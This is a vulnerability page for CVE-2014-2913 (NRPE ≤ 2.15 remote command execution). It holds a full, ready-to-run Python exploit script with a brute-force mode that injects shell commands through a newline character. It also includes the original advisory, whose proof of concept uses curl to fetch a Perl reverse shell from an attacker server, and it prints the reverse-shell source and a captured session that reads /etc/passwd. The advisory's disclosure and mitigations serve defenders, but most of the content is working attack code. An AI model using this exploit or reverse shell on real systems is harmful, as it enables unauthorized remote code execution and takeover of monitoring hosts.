CVE-2014-2913 : Detail

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#!/usr/bin/python # # # Exploit Title : NRPE <= 2.15 Remote Code Execution Vulnerability # # Discovered by : Dawid Golunski # dawid (at) legalhackers (dot) com # legalhackers.com # # Exploit Author : Claudio Viviani # http://www.homelab.it # # [email protected] # [email protected] # # https://www.facebook.com/homelabit # https://twitter.com/homelabit # https://plus.google.com/+HomelabIt1/ # https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww # # # # C crc32 function ripped from check_nrpe_clone by Alan Brenner <[email protected]> # http://www.abcompcons.com/files/nrpe_client.py # # pyOpenSSL Library required (http://pyopenssl.sourceforge.net/) # # [root@localhost ~]# pip-python install pyOpenSSL # # NRPE <= 2.15 Remote Command Execution Vulnerability # Release date: 17.04.2014 # Discovered by: Dawid Golunski # Severity: High # CVE-2014-2913 # # http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2913 # http://www.exploit-db.com/exploits/32925/ # http://www.homelab.it/index.php/2014/05/03/nagios-nrpe-remote-command-injection-test-fix/ (ITA) # # Tested on CentOS 5.x, CentOS 6.x, BacBox 3.x, KaliLinux 1.0.6 with Python 2.x # # Demo: https://www.youtube.com/watch?v=nmYiBdnWWcE # import OpenSSL # non-standard, see http://pyopenssl.sourceforge.net/ import optparse import os import signal import socket import struct import sys import time banner = """ $$\ $$\ $$$$$$$\ $$$$$$$\ $$$$$$$$\ $$$$$$\ $$\ $$$$$$$\\ $$$\ $$ |$$ __$$\ $$ __$$\ $$ _____| $$ __$$\ $$$$ | $$ ____| $$$$\ $$ |$$ | $$ |$$ | $$ |$$ | \__/ $$ | \_$$ | $$ | $$ $$\$$ |$$$$$$$ |$$$$$$$ |$$$$$\ $$$$$$ | $$ | $$$$$$$\\ $$ \$$$$ |$$ __$$< $$ ____/ $$ __| $$ ____/ $$ | \_____$$\\ $$ |\$$$ |$$ | $$ |$$ | $$ | $$ | $$ | $$\ $$ | $$ | \$$ |$$ | $$ |$$ | $$$$$$$$\ $$$$$$$$\ $$\ $$$$$$\\$$$$$$ | \__| \__|\__| \__|\__| \________| \________|\__|\______|\______/ $$$$$$$\ $$$$$$\ $$$$$$$$\\ $$ __$$\ $$ __$$\ $$ _____| $$ | $$ |$$ / \__|$$ | $$$$$$$ |$$ | $$$$$\\ $$ __$$< $$ | $$ __| $$ | $$ |$$ | $$\ $$ | $$ | $$ |\$$$$$$ |$$$$$$$$\\ \__| \__| \______/ \________| NRPE <= 2.15 R3m0t3 C0mm4nd Ex3cut10n ============================================= - Release date: 17.04.2014 - Discovered by: Dawid Golunski - Severity: High - CVE: 2014-2913 ============================================= Written by: Claudio Viviani http://www.homelab.it [email protected] [email protected] https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww """ # Plugin list for Brute force mode PluginList = ['check_all', 'check_apt', 'check_bdii', 'check_bonding', 'check_breeze', 'check_by_ssh', 'check_check-updates', 'check_check_sip', 'check_cluster', 'check_dhcp', 'check_dig', 'check_disk', 'check_disk_smb', 'check_dns', 'check_dpm-disk', 'check_dpm-head', 'check_dummy', 'check_file_age', 'check_flexlm', 'check_fping', 'check_game', 'check_hpjd', 'check_http', 'check_icmp', 'check_ide_smart', 'check_ifoperstatus', 'check_ifstatus', 'check_ircd', 'check_lcgdm', 'check_lcgdm-common', 'check_ldap', 'check_lfc', 'check_linux_raid', 'check_load', 'check_log', 'check_mailq', 'check_mrtg', 'check_mrtgtraf', 'check_mysql', 'check_nagios', 'check_nrpe', 'check_nt', 'check_ntp', 'check_nwstat', 'check_openmanage', 'check_oracle', 'check_overcr', 'check_perl', 'check_pgsql', 'check_ping', 'check_procs', 'check_radius', 'check_real', 'check_rhev', 'check_rpc', 'check_sensors', 'check_smtp', 'check_snmp', 'check_ssh', 'check_swap', 'check_tcp', 'check_time', 'check_ups', 'check_users', 'check_wave'] # nrpe 2.15 skip chars "|`&><'\"\\[]{};" and "$()" but not "\x0a"(new line) evilchar = "\x0a" QUERY_PACKET = 1 RESPONSE_PACKET = 2 NRPE_PACKET_VERSION_2 = 2 # max amount of data we'll send in one query/response MAX_PACKETBUFFER_LENGTH = 1024 #def debug(sMessage): # """Send a string to STDERR""" # if DEBUG: # sys.stderr.write("%s\n" % sMessage) class DataPacket: """A Python implementation of the C struct, packet.""" def __init__(self, packet_version, packet_type): self.nPacketVersion = packet_version # int16 self.nPacketType = packet_type # int16 self.nCRC32 = 0 # u_int32 self.nResultCode = 2324 # int16 self.sData = '' self.tCRC32 = ( 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d) def __str__(self): # Turn whatever string data we have into a null terminated string if len(self.sData) < MAX_PACKETBUFFER_LENGTH: sData = self.sData + "\0" * (MAX_PACKETBUFFER_LENGTH - len(self.sData)) sData += "SR" # not sure about this, from perl elif len(self.sData) == MAX_PACKETBUFFER_LENGTH + 2: sData = self.sData else: raise ValueError("CHECK_NRPE: invalid input") # Return a string that equals the C struct, not something printable return struct.pack("!hhLh" + str(len(sData)) + "s", self.nPacketVersion, self.nPacketType, self.nCRC32, self.nResultCode, sData) def __len__(self): return len(self.__str__()) def dumpself(self): """Debugging output for self as C structure. Not normally used.""" sElf = self.__str__() sPrev = sElf[0:1] nCount = 0 ii = -1 for sChar in sElf[1:]: ii += 1 if sChar == sPrev: nCount += 1 continue if nCount: print "%d\t%d *" % (ii - nCount, nCount + 1), nCount = 0 else: print "%d\t" % ii, print "\t'%s' (%d)" % (sPrev, ord(sPrev)) sPrev = sChar print "%d\t\t'%s' (%d)" % (ii + 1, sPrev, ord(sPrev)) def calculate_crc32(self): """Calculate the CRC32 value for the string version of self.""" nCRC = 0xFFFFFFFF for ii in self.__str__(): nIndex = (nCRC ^ ord(ii)) & 0xFF nCRC = ((nCRC >> 8) & 0x00FFFFFF) ^ self.tCRC32[nIndex] self.nCRC32 = nCRC ^ 0xFFFFFFFF #debug("DataPacket.calculate_crc32 = %d" % self.nCRC32) def extract(self, sQuery): """Turn a string into the DataPacket attributes.""" #debug("DataPacket.extract(%d)" % len(sQuery)) tVals = struct.unpack("!hhLh" + str(len(sQuery) - 10) + "s", sQuery) self.nPacketVersion = tVals[0] self.nPacketType = tVals[1] self.nCRC32 = tVals[2] self.nResultCode = tVals[3] self.sData = tVals[4] m_nTimeout = 0 def alarm_handler(nSignum, oFrame): """Timeout catcher""" raise KeyboardInterrupt("CHECK_NRPE: Socket timeout after %d seconds." % m_nTimeout) class NrpeClient(DataPacket): """Everything needed to send a message to an NRPE server and get data back. """ def __init__(self, server_name, server_port=5666, use_ssl=True, timeout=10, packet_version=NRPE_PACKET_VERSION_2): DataPacket.__init__(self, packet_version, QUERY_PACKET) self.sServer = server_name self.nPort = server_port self.bUseSSL = use_ssl self.nTimeout = timeout def run_query(self, sQuery): """Connect to the NRPE server, send the query and get back data. """ # initialize alarm signal handling and set timeout signal.signal(signal.SIGALRM, alarm_handler) signal.alarm(self.nTimeout) # try to connect to the host at the given port number oSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # do SSL handshake if self.bUseSSL: oContext = OpenSSL.SSL.Context(OpenSSL.SSL.TLSv1_METHOD) oContext.set_cipher_list('ADH') oConnection = OpenSSL.SSL.Connection(oContext, oSocket) else: oConnection = oSocket oConnection.connect((self.sServer, self.nPort)) # we're connected and ready to go self.sData = sQuery self.nCRC32 = 0 self.calculate_crc32() # send the packet oConnection.send(str(self)) # wait for the response packet sRval = oConnection.recv(len(self)) # close the connection if self.bUseSSL and not oConnection.shutdown(): try: sRval += oConnection.recv(len(self)) except OpenSSL.SSL.ZeroReturnError: pass oSocket.close() del oSocket, oConnection if self.bUseSSL: del oContext # reset timeout signal.alarm(0) if len(sRval) == 0: raise IOError("CHECK_NRPE: Received 0 bytes from daemon." + "Check the remote server logs for error messages.") elif len(sRval) < len(self): raise IOError("CHECK_NRPE: Receive underflow - only " + "%d bytes received (%d expected)." % (len(sRval), len(self))) # Become the received data self.extract(sRval) # check the crc 32 value nRvalCRC = self.nCRC32 self.nCRC32 = 0 self.calculate_crc32() if nRvalCRC != self.nCRC32: raise ValueError("CHECK_NRPE: Response packet had invalid CRC32.") # check packet version if self.nPacketVersion != NRPE_PACKET_VERSION_2: raise ValueError("CHECK_NRPE: Invalid packet version received from server.") # check packet type if self.nPacketType != RESPONSE_PACKET: raise ValueError("CHECK_NRPE: Invalid packet type received from server.") # Turn the input data into a proper python string (chop at first NULL) for ii in range(len(self.sData)): if self.sData[ii] == "\0": break self.sData = self.sData[0:ii] if __name__ == '__main__': m_oOpts = optparse.OptionParser("%prog -H Host_or_IP -c nrpe_command --cmd=\"command to execute\" [-b, --brute] [-n] [-p PORT] [--timeout sec] [--list]") m_oOpts.add_option('--host', '-H', action='store', type='string', help='The address of the host running the NRPE daemon (required)') m_oOpts.add_option('--ssl', '-n', action='store_false', default=True, help='Do no use SSL') m_oOpts.add_option('--port', '-p', action='store', type='int', default=5666, help='The port on which the daemon is running (default=5666)') m_oOpts.add_option('--timeout', '-t', action='store', type='int', default=10, help='Number of seconds before connection times out (default=10)') m_oOpts.add_option('--command', '-c', action='store', type='string', #default='get_data', help='The name of nrpe command') m_oOpts.add_option('--brute', '-b', action='store_true', default=False, help='Find existing nrpe command from list [ -list ]') m_oOpts.add_option('--list', action='store_true', default=False, help='Show NRPE Command list') m_oOpts.add_option('--cmd', action='store', type='string', help='Command to execute on the remote server') m_oOptions, m_lArgs = m_oOpts.parse_args() m_nTimeout = m_oOptions.timeout m_sQuery = m_oOptions.command m_gList = m_oOptions.list m_sBrute = m_oOptions.brute print (banner) if m_gList: print('[+] NRPE Command list\n') for LinesPluginList in PluginList: print(LinesPluginList) sys.exit(0) elif m_sQuery and m_sBrute: print m_oOpts.format_help() print('[!]') print('[!] ERROR: Select only -c OR -b option\n') sys.exit(0) elif not m_oOptions.host or not m_oOptions.cmd: print m_oOpts.format_help() sys.exit(0) print('[+] Target: '+m_oOptions.host) print('[+] Command: '+m_oOptions.cmd+' \n') if m_sBrute: print('[+] Brute force Mode....') print('[+]') for LinesPluginList in PluginList: m_CommandQuery = "" m_CommandQuery += ' ' + m_oOptions.cmd if m_lArgs: m_CommandQuery += ' ' + ' '.join(m_lArgs) m_sQuery = LinesPluginList+'!'+str(evilchar)+str(m_CommandQuery)+' #' m_oNRPE = NrpeClient(m_oOptions.host, m_oOptions.port, m_oOptions.ssl, m_oOptions.timeout) try: m_oNRPE.run_query(m_sQuery) except socket.error: print('[!] Connection Error!') sys.exit(1) except OpenSSL.SSL.ZeroReturnError: print('[!] Not Vulnerable') print('[!] Option dont_blame_nrpe disabled or service fixed') sys.exit(1) if m_oNRPE.sData[-11:] == "not defined": print('[-] Checking for NRPE command '+LinesPluginList+':\t\t\tnot found') else: print('[+] Checking for NRPE command '+LinesPluginList+':\t\t\tVULNERABLE!') print('[+]') print('[+] Max Output CHAR 1024 (According to NRPE <= 2.15 specifications)') print('[+]') print('[+] Please ignore NRPE plugin command messages (Usage or Errors)') print('[+]') print(m_oNRPE.sData) sys.exit(0) elif m_sQuery: print('[+] Custom command Mode....') print('[+]') print('[+] Connecting......') m_CommandQuery = "" m_CommandQuery += ' ' + m_oOptions.cmd if m_lArgs: m_CommandQuery += ' ' + ' '.join(m_lArgs) m_sQuery = m_sQuery+'!'+str(evilchar)+str(m_CommandQuery)+' #' m_oNRPE = NrpeClient(m_oOptions.host, m_oOptions.port, m_oOptions.ssl, m_oOptions.timeout) try: m_oNRPE.run_query(m_sQuery) except KeyboardInterrupt: print("[!] CHECK_NRPE: Socket timeout after %d seconds." % m_nTimeout) sys.exit(1) except socket.error: print('[!] Connection Error!') sys.exit(1) except OpenSSL.SSL.ZeroReturnError: print('[!] Not Vulnerable') print('[!] Option dont_blame_nrpe disabled or service fixed') sys.exit(1) if m_oNRPE.sData[-11:] == "not defined": print('[-] Checking for NRPE command '+m_oOptions.command+': not found...try other NRPE command') else: print('[+] Checking for NRPE command '+m_oOptions.command+': VULNERABLE!') print('[+]') print('[+] Max Output CHAR 1024 (According to NRPE <= 2.15 specifications)') print('[+]') print('[+] Please ignore NRPE plugin command messages (Usage or Errors)') print('[+]') print(m_oNRPE.sData) sys.exit(0)

============================================= - Release date: 17.04.2014 - Discovered by: Dawid Golunski - Severity: High ============================================= I. VULNERABILITY ------------------------- NRPE - Nagios Remote Plugin Executor <= 2.15 Remote Command Execution II. BACKGROUND ------------------------- Nagios is an open source computer system monitoring, network monitoring and infrastructure monitoring software application. Nagios offers monitoring and alerting services for servers, switches, applications, and services. It alerts the users when things go wrong and alerts them a second time when the problem has been resolved. The NRPE (Nagios Remote Plugin Executor) addon is designed to allow you to execute Nagios plugins on remote Linux/Unix machines. The main reason for doing this is to allow Nagios to monitor "local" resources (like CPU load, memory usage, etc.) on remote machines. Since these public resources are not usually exposed to external machines, an agent like NRPE must be installed on the remote Linux/Unix machines. III. INTRODUCTION ------------------------- Nagios Remote Plugin Executor (NRPE) contains a vulnerability that could allow an attacker to remotely inject and execute arbitrary code on the host under NRPE account (typically 'nagios'). The vulnerability is due to NRPE not properly sanitizing user input before passing it to a command shell as a part of a configured command. In order for an attacker to take advantage of the host NRPE must be compiled and configured with command arguments. No authentication is required to exploit this vulnerability if the NRPE port has not been protected with a firewall. IV. DESCRIPTION ------------------------- NRPE expects definitions of commands in nrpe.cfg config file. Some of the examples given in the config with hardcoded arguments are: command[check_users]=/usr/local/nagios/libexec/check_users -w 5 -c 10 command[check_load]=/usr/local/nagios/libexec/check_load -w 15,10,5 -c 30,25,20 command[check_hda1]=/usr/local/nagios/libexec/check_disk -w 20% -c 10% -p /dev/hda1 when command arguments are enabled then user is also allowed to define commands with variables like: command[check_users]=/usr/local/nagios/libexec/check_users -w $ARG1$ -c $ARG2$ command[check_disk]=/usr/local/nagios/libexec/check_disk -w $ARG1$ -c $ARG2$ -p $ARG3$ This is often suggested for convenience in various nagios/nrpe setup tutorials on the web. To get a result from a defined command in NRPE daemon the following nrpe client can be used with -a option that passes arguments: # /usr/local/nagios/libexec/check_nrpe -H 10.10.10.5 -c check_users -a 4 4 USERS OK - 4 users currently logged in |users=4;4;4;0 in case check_users command was defined with arguments as shown above NRPE would execute: /usr/local/nagios/libexec/check_users -w 4 -c 4 on the local system. As we can find in the source code of nrpe-2.15/src/nrpe.c NRPE daemon uses popen() function for command execution: /* executes a system command via popen(), but protects against timeouts */ int my_system(char *command,int timeout,int *early_timeout,char *output,int output_length){ ----cut---- /* run the command */ fp=popen(command,"r"); using popen() results in the command being executed with the help of a command shell. Before this function is reached however NRPE takes several measures to prevent malicious command injection to the shell. That includes filtration based on a blacklist: #define NASTY_METACHARS "|`&><'\"\\[]{};" /* make sure request doesn't contain nasties */ if(contains_nasty_metachars(pkt->buffer)==TRUE){ syslog(LOG_ERR,"Error: Request contained illegal metachars!"); that prevents bash special characters like semicolon, pipe etc. The code is also making sure that arguments do not contain bash command substitution i.e. $(ps aux) if(strstr(macro_argv[x],"$(")) { syslog(LOG_ERR,"Error: Request contained a bash command substitution!"); return ERROR; Despite these checks the code is vulnerable to command injection as bash shell allows for multiple command execution if commands are separated by a new line. None of the checks examines the arguments for an occurrence of a new line character: 0x0A V. PROOF OF CONCEPT ------------------------- To execute an arbitrary command an attacker could simply add a new line character after a parameter and follow it with his own command. To run touch /tmp/vulntest command an attacker could use the check_nrpe client with arguments: # /usr/local/nagios/libexec/check_nrpe -H 10.10.10.5 -c check_users -a "`echo -e "\x0a touch /tmp/vulntest "` #" 4 which make NRPE daemon run the following series of commands: /usr/local/nagios/libexec/check_users -w <new_line> touch /tmp/vulntest # -c 4 and a file /tmp/vulntest would be created with nagios user as the owner. The hash character is to comment out the the rest of the arguments. An attacker gets a limited set of commands as most of the metacharacters are prohibited by the blacklist. So for example it's difficult to create new files in the system without using > symbol etc. An attacker could however download a snippet of perl/python etc. code from the web by using wget or curl command and get a reverse shell. This would allow unrestricted access to the command line: ---------[revshell.pl on attackers-server]--------- #!/usr/bin/perl use Socket; #attackers ip to connect back to $i="10.10.10.40"; $p=8080; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))) { open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i"); } -------------------------------------------------- /usr/local/nagios/libexec/check_nrpe -H 10.10.10.5 -c check_users -a "`echo -e "\x0a curl -o /tmp/tmp_revshell http://attackers-server/revshell.pl \x0a perl /tmp/tmp_revshell # "` 4 " [[email protected] ]# nc -v -l 8080 Connection from 10.10.10.5 port 8080 [tcp/ddi-tcp-1] accepted sh-4.1$ id uid=501(nagios) gid=501(nagios) groups=501(nagios),502(nagcmd) sh-4.1$ sh-4.1$ cat /etc/passwd | head -n 4 ; pwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin / sh-4.1$ ls -l /tmp/tmp_revshell -rw-rw-r-- 1 nagios nagios 269 Apr 17 05:14 /tmp/tmp_revshell sh-4.1$ rm -f /tmp/tmp_revshell VI. BUSINESS IMPACT ------------------------- An attacker could exploit the vulnerability to gain access to the system in the context of a nagios user this could lead to further compromise of the server. VII. SYSTEMS AFFECTED ------------------------- Current version of NRPE 2.15 and older are vulnerable. VIII. SOLUTION ------------------------- Disable command arguments if possible. Protect access to NRPE port and only allow access from a trusted nagios server. Install updated version of NRPE when it becomes available. IX. REFERENCES ------------------------- http://www.nagios.org http://sourceforge.net/projects/nagios/files/nrpe-2.x/ http://exchange.nagios.org/directory/Addons/Monitoring-Agents/NRPE--2D-Nagios-Remote-Plugin-Executor/details http://legalhackers.com/advisories/nagios-nrpe.txt X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com legalhackers.com XI. REVISION HISTORY ------------------------- April 17th, 2014: Advisory created XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.